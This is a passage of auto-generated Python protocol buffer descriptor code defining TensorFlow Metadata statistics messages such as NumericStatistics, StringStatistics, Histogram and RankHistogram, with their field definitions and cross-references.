serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='num', full_name='tensorflow.metadata.v0.CustomStatistic.num', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='str', full_name='tensorflow.metadata.v0.CustomStatistic.str', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='histogram', full_name='tensorflow.metadata.v0.CustomStatistic.histogram', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='rank_histogram', full_name='tensorflow.metadata.v0.CustomStatistic.rank_histogram', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='val', full_name='tensorflow.metadata.v0.CustomStatistic.val',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=2263,
serialized_end=2452,
)
_NUMERICSTATISTICS = _descriptor.Descriptor(
name='NumericStatistics',
full_name='tensorflow.metadata.v0.NumericStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='common_stats', full_name='tensorflow.metadata.v0.NumericStatistics.common_stats', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='mean', full_name='tensorflow.metadata.v0.NumericStatistics.mean', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='std_dev', full_name='tensorflow.metadata.v0.NumericStatistics.std_dev', index=2,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='num_zeros', full_name='tensorflow.metadata.v0.NumericStatistics.num_zeros', index=3,
number=4, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='min', full_name='tensorflow.metadata.v0.NumericStatistics.min', index=4,
number=5, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='median', full_name='tensorflow.metadata.v0.NumericStatistics.median', index=5,
number=6, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='max', full_name='tensorflow.metadata.v0.NumericStatistics.max', index=6,
number=7, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='histograms', full_name='tensorflow.metadata.v0.NumericStatistics.histograms', index=7,
number=8, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='weighted_numeric_stats', full_name='tensorflow.metadata.v0.NumericStatistics.weighted_numeric_stats', index=8,
number=9, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2455,
serialized_end=2768,
)
_STRINGSTATISTICS_FREQANDVALUE = _descriptor.Descriptor(
name='FreqAndValue',
full_name='tensorflow.metadata.v0.StringStatistics.FreqAndValue',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='value', full_name='tensorflow.metadata.v0.StringStatistics.FreqAndValue.value', index=0,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='frequency', full_name='tensorflow.metadata.v0.StringStatistics.FreqAndValue.frequency', index=1,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3135,
serialized_end=3189,
)
_STRINGSTATISTICS = _descriptor.Descriptor(
name='StringStatistics',
full_name='tensorflow.metadata.v0.StringStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='common_stats', full_name='tensorflow.metadata.v0.StringStatistics.common_stats', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='unique', full_name='tensorflow.metadata.v0.StringStatistics.unique', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='top_values', full_name='tensorflow.metadata.v0.StringStatistics.top_values', index=2,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='avg_length', full_name='tensorflow.metadata.v0.StringStatistics.avg_length', index=3,
number=4, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='rank_histogram', full_name='tensorflow.metadata.v0.StringStatistics.rank_histogram', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='weighted_string_stats', full_name='tensorflow.metadata.v0.StringStatistics.weighted_string_stats', index=5,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='vocabulary_file', full_name='tensorflow.metadata.v0.StringStatistics.vocabulary_file', index=6,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_STRINGSTATISTICS_FREQANDVALUE, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2771,
serialized_end=3189,
)
_WEIGHTEDNUMERICSTATISTICS = _descriptor.Descriptor(
name='WeightedNumericStatistics',
full_name='tensorflow.metadata.v0.WeightedNumericStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='mean', full_name='tensorflow.metadata.v0.WeightedNumericStatistics.mean', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='std_dev', full_name='tensorflow.metadata.v0.WeightedNumericStatistics.std_dev', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='median', full_name='tensorflow.metadata.v0.WeightedNumericStatistics.median', index=2,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='histograms', full_name='tensorflow.metadata.v0.WeightedNumericStatistics.histograms', index=3,
number=4, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3192,
serialized_end=3321,
)
_WEIGHTEDSTRINGSTATISTICS = _descriptor.Descriptor(
name='WeightedStringStatistics',
full_name='tensorflow.metadata.v0.WeightedStringStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='top_values', full_name='tensorflow.metadata.v0.WeightedStringStatistics.top_values', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='rank_histogram', full_name='tensorflow.metadata.v0.WeightedStringStatistics.rank_histogram', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3324,
serialized_end=3488,
)
_BYTESSTATISTICS = _descriptor.Descriptor(
name='BytesStatistics',
full_name='tensorflow.metadata.v0.BytesStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='common_stats', full_name='tensorflow.metadata.v0.BytesStatistics.common_stats', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='unique', full_name='tensorflow.metadata.v0.BytesStatistics.unique', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='avg_num_bytes', full_name='tensorflow.metadata.v0.BytesStatistics.avg_num_bytes', index=2,
number=3, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='min_num_bytes', full_name='tensorflow.metadata.v0.BytesStatistics.min_num_bytes', index=3,
number=4, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='max_num_bytes', full_name='tensorflow.metadata.v0.BytesStatistics.max_num_bytes', index=4,
number=5, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3491,
serialized_end=3657,
)
_STRUCTSTATISTICS = _descriptor.Descriptor(
name='StructStatistics',
full_name='tensorflow.metadata.v0.StructStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='common_stats', full_name='tensorflow.metadata.v0.StructStatistics.common_stats', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3659,
serialized_end=3741,
)
_COMMONSTATISTICS = _descriptor.Descriptor(
name='CommonStatistics',
full_name='tensorflow.metadata.v0.CommonStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='num_non_missing', full_name='tensorflow.metadata.v0.CommonStatistics.num_non_missing', index=0,
number=1, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='num_missing', full_name='tensorflow.metadata.v0.CommonStatistics.num_missing', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='min_num_values', full_name='tensorflow.metadata.v0.CommonStatistics.min_num_values', index=2,
number=3, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='max_num_values', full_name='tensorflow.metadata.v0.CommonStatistics.max_num_values', index=3,
number=4, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='avg_num_values', full_name='tensorflow.metadata.v0.CommonStatistics.avg_num_values', index=4,
number=5, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tot_num_values', full_name='tensorflow.metadata.v0.CommonStatistics.tot_num_values', index=5,
number=8, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='num_values_histogram', full_name='tensorflow.metadata.v0.CommonStatistics.num_values_histogram', index=6,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='weighted_common_stats', full_name='tensorflow.metadata.v0.CommonStatistics.weighted_common_stats', index=7,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='feature_list_length_histogram', full_name='tensorflow.metadata.v0.CommonStatistics.feature_list_length_histogram', index=8,
number=9, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=3744,
serialized_end=4124,
)
_HISTOGRAM_BUCKET = _descriptor.Descriptor(
name='Bucket',
full_name='tensorflow.metadata.v0.Histogram.Bucket',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='low_value', full_name='tensorflow.metadata.v0.Histogram.Bucket.low_value', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='high_value', full_name='tensorflow.metadata.v0.Histogram.Bucket.high_value', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='sample_count', full_name='tensorflow.metadata.v0.Histogram.Bucket.sample_count', index=2,
number=4, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=4316,
serialized_end=4391,
)
_HISTOGRAM = _descriptor.Descriptor(
name='Histogram',
full_name='tensorflow.metadata.v0.Histogram',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='num_nan', full_name='tensorflow.metadata.v0.Histogram.num_nan', index=0,
number=1, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='num_undefined', full_name='tensorflow.metadata.v0.Histogram.num_undefined', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='buckets', full_name='tensorflow.metadata.v0.Histogram.buckets', index=2,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='type', full_name='tensorflow.metadata.v0.Histogram.type', index=3,
number=4, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='name', full_name='tensorflow.metadata.v0.Histogram.name', index=4,
number=5, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_HISTOGRAM_BUCKET, ],
enum_types=[
_HISTOGRAM_HISTOGRAMTYPE,
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=4127,
serialized_end=4437,
)
_RANKHISTOGRAM_BUCKET = _descriptor.Descriptor(
name='Bucket',
full_name='tensorflow.metadata.v0.RankHistogram.Bucket',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='low_rank', full_name='tensorflow.metadata.v0.RankHistogram.Bucket.low_rank', index=0,
number=1, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='high_rank', full_name='tensorflow.metadata.v0.RankHistogram.Bucket.high_rank', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='label', full_name='tensorflow.metadata.v0.RankHistogram.Bucket.label', index=2,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='sample_count', full_name='tensorflow.metadata.v0.RankHistogram.Bucket.sample_count', index=3,
number=5, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=4534,
serialized_end=4622,
)
_RANKHISTOGRAM = _descriptor.Descriptor(
name='RankHistogram',
full_name='tensorflow.metadata.v0.RankHistogram',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='buckets', full_name='tensorflow.metadata.v0.RankHistogram.buckets', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='name', full_name='tensorflow.metadata.v0.RankHistogram.name', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_RANKHISTOGRAM_BUCKET, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=4440,
serialized_end=4622,
)
_DATASETFEATURESTATISTICSLIST.fields_by_name['datasets'].message_type = _DATASETFEATURESTATISTICS
_DATASETFEATURESTATISTICS.fields_by_name['features'].message_type = _FEATURENAMESTATISTICS
_DATASETFEATURESTATISTICS.fields_by_name['cross_features'].message_type = _CROSSFEATURESTATISTICS
_CROSSFEATURESTATISTICS.fields_by_name['path_x'].message_type = tensorflow__metadata_dot_proto_dot_v0_dot_path__pb2._PATH
_CROSSFEATURESTATISTICS.fields_by_name['path_y'].message_type = tensorflow__metadata_dot_proto_dot_v0_dot_path__pb2._PATH
_CROSSFEATURESTATISTICS.fields_by_name['num_cross_stats'].message_type = _NUMERICCROSSSTATISTICS
_CROSSFEATURESTATISTICS.fields_by_name['categorical_cross_stats'].message_type = _CATEGORICALCROSSSTATISTICS
_CROSSFEATURESTATISTICS.oneofs_by_name['cross_stats'].fields.append(
_CROSSFEATURESTATISTICS.fields_by_name['num_cross_stats'])
_CROSSFEATURESTATISTICS.fields_by_name['num_cross_stats'].containing_oneof = _CROSSFEATURESTATISTICS.oneofs_by_name['cross_stats']
_CROSSFEATURESTATISTICS.oneofs_by_name['cross_stats'].fields.append(
_CROSSFEATURESTATISTICS.fields_by_name['categorical_cross_stats'])
_CROSSFEATURESTATISTICS.fields_by_name['categorical_cross_stats'].containing_oneof = _CROSSFEATURESTATISTICS.oneofs_by_name['cross_stats']
_CATEGORICALCROSSSTATISTICS.fields_by_name['lift'].message_type = _LIFTSTATISTICS
_LIFTSTATISTICS.fields_by_name['lift_series'].message_type = _LIFTSERIES
_LIFTSTATISTICS.fields_by_name['weighted_lift_series'].message_type = _LIFTSERIES
_LIFTSERIES_BUCKET.containing_type = _LIFTSERIES
_LIFTSERIES_LIFTVALUE.containing_type = _LIFTSERIES
_LIFTSERIES_LIFTVALUE.oneofs_by_name['x_value'].fields.append(
_LIFTSERIES_LIFTVALUE.fields_by_name['x_int'])
_LIFTSERIES_LIFTVALUE.fields_by_name['x_int'].containing_oneof = _LIFTSERIES_LIFTVALUE.oneofs_by_name['x_value']
_LIFTSERIES_LIFTVALUE.oneofs_by_name['x_value'].fields.append(
_LIFTSERIES_LIFTVALUE.fields_by_name['x_string'])
_LIFTSERIES_LIFTVALUE.fields_by_name['x_string'].containing_oneof = _LIFTSERIES_LIFTVALUE.oneofs_by_name['x_value']
_LIFTSERIES_LIFTVALUE.oneofs_by_name['x_count_value'].fields.append(
_LIFTSERIES_LIFTVALUE.fields_by_name['x_count'])
_LIFTSERIES_LIFTVALUE.fields_by_name['x_count'].containing_oneof = _LIFTSERIES_LIFTVALUE.oneofs_by_name['x_count_value']
_LIFTSERIES_LIFTVALUE.oneofs_by_name['x_count_value'].fields.append(
_LIFTSERIES_LIFTVALUE.fields_by_name['weighted_x_count'])
_LIFTSERIES_LIFTVALUE.fields_by_name['weighted_x_count'].containing_oneof = _LIFTSERIES_LIFTVALUE.oneofs_by_name['x_count_value']
_LIFTSERIES_LIFTVALUE.oneofs_by_name['x_and_y_count_value'].fields.append(
_LIFTSERIES_LIFTVALUE.fields_by_name['x_and_y_count'])
_LIFTSERIES_LIFTVALUE.fields_by_name['x_and_y_count'].containing_oneof = _LIFTSERIES_LIFTVALUE.oneofs_by_name['x_and_y_count_value']
_LIFTSERIES_LIFTVALUE.oneofs_by_name['x_and_y_count_value'].fields.append(
_LIFTSERIES_LIFTVALUE.fields_by_name['weighted_x_and_y_count'])
_LIFTSERIES_LIFTVALUE.fields_by_name['weighted_x_and_y_count'].containing_oneof = _LIFTSERIES_LIFTVALUE.oneofs_by_name['x_and_y_count_value']
_LIFTSERIES.fields_by_name['y_bucket'].message_type = _LIFTSERIES_BUCKET
_LIFTSERIES.fields_by_name['lift_values'].message_type = _LIFTSERIES_LIFTVALUE
_LIFTSERIES.oneofs_by_name['y_value'].fields.append(
_LIFTSERIES.fields_by_name['y_int'])
_LIFTSERIES.fields_by_name['y_int'].containing_oneof = _LIFTSERIES.oneofs_by_name['y_value']
_LIFTSERIES.oneofs_by_name['y_value'].fields.append(
_LIFTSERIES.fields_by_name['y_string'])
_LIFTSERIES.fields_by_name['y_string'].containing_oneof = _LIFTSERIES.oneofs_by_name['y_value']
_LIFTSERIES.oneofs_by_name['y_value'].fields.append(
_LIFTSERIES.fields_by_name['y_bucket'])
_LIFTSERIES.fields_by_name['y_bucket'].containing_oneof = _LIFTSERIES.oneofs_by_name['y_value']
_LIFTSERIES.oneofs_by_name['y_count_value'].fields.append(
_LIFTSERIES.fields_by_name['y_count'])
_LIFTSERIES.fields_by_name['y_count'].containing_oneof = _LIFTSERIES.oneofs_by_name['y_count_value']
_LIFTSERIES.oneofs_by_name['y_count_value'].fields.append(
